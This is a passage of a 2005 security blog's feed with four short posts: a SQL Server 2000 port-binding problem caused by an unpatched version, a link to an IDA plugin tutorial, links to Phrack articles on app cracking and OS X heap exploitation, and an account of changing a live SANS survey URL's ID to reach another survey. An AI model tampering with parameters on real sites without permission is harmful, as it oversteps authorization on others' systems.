type='text'>MS SQL Server 2000 Won't bind to TCP/IP ports</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/8005/1818/1600/sqlvuln.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/8005/1818/320/sqlvuln.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;I spent like an hour today trying to figure out why the MSSQL server I installed was not binding to the tcp/ip ports. After a while, browsing thru the thousands of events created by MSSQL server (and other apps) on the Event Log, I found that the TCP/IP ports were closed because WinXP (or whatever) detected that the installed version of MSSQL server was a vulnerable version that required patching. &lt;br /&gt;&lt;br /&gt;Its nice to see these 'protection mechanism', but I would REALLY REALLY REALLY like to have a more visual/direct indication of whats going on. See the screenshot of the event log record, observe that the Event is of type 'Information' what doesn't help to identify it when you are browsing thru a zillion events.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-113113758430012945?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/113113758430012945/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=113113758430012945&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113113758430012945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113113758430012945'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2005/11/ms-sql-server-2000-wont-bind-to-tcpip.html' title='MS SQL Server 2000 Won&apos;t bind to TCP/IP ports'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-113103347570601034</id><published>2005-11-03T12:55:00.000-03:00</published><updated>2005-11-03T12:57:55.713-03:00</updated><title type='text'>IDA Plugin Writing Tutorial</title><content type='html'>If you've ever tried creating an IDA plugin without the help of any human being, or text written by a human being (or alike), you will join me and thank Steve Micallef for writing this tutorial.&lt;br /&gt;&lt;a href="http://www.binarypool.com/idapluginwriting/"&gt;&lt;br /&gt;Ida Plugin Writing Tutorial&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-113103347570601034?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/113103347570601034/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=113103347570601034&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113103347570601034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113103347570601034'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2005/11/ida-plugin-writing-tutorial.html' title='IDA Plugin Writing Tutorial'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-113103122013889386</id><published>2005-11-03T12:16:00.000-03:00</published><updated>2005-11-03T17:14:20.906-03:00</updated><title type='text'>A little tiny survey at SANS</title><content type='html'>Just yesterday I was taking a survey promoted by SANS called "Information Security Career Advancement Survey". I couldn't help to notice the format of the url:&lt;br /&gt;&lt;p&gt;&lt;br /&gt;http://survey.sans.org/phpsurveyor/index.php?sid=1&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;I had to try.. take a look at this survey: :)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://survey.sans.org/phpsurveyor/index.php?sid=2"&gt;Teeny Tiny Test&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-113103122013889386?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/113103122013889386/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=113103122013889386&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113103122013889386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113103122013889386'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2005/11/little-tiny-survey-at-sans.html' title='A little tiny survey at SANS'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-113102993132716429</id><published>2005-11-03T11:56:00.000-03:00</published><updated>2007-04-10T05:53:48.930-03:00</updated><title type='text'>A couple of good articles on OS X internals</title><content type='html'>The following articles are nice to read&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.phrack.org/phrack/63/p63-0x10_PowerPC_Cracking_on_OSX_with_GDB.txt"&gt;Sample on how to crack a PPC app.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.phrack.org/phrack/63/p63-0x05_OSX_Heap_Exploitation_Technqiues.txt"&gt;OSX Heap Explotation Techniques&lt;/a&gt;&lt;br /&gt;Nice description of the heap.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-113102993132716429?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/113102993132716429/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=113102993132716429&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113102993132716429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113102993132716429'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2005/11/couple-of-good-articles-on-os-x.html' title='A couple of good articles on OS X internals'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
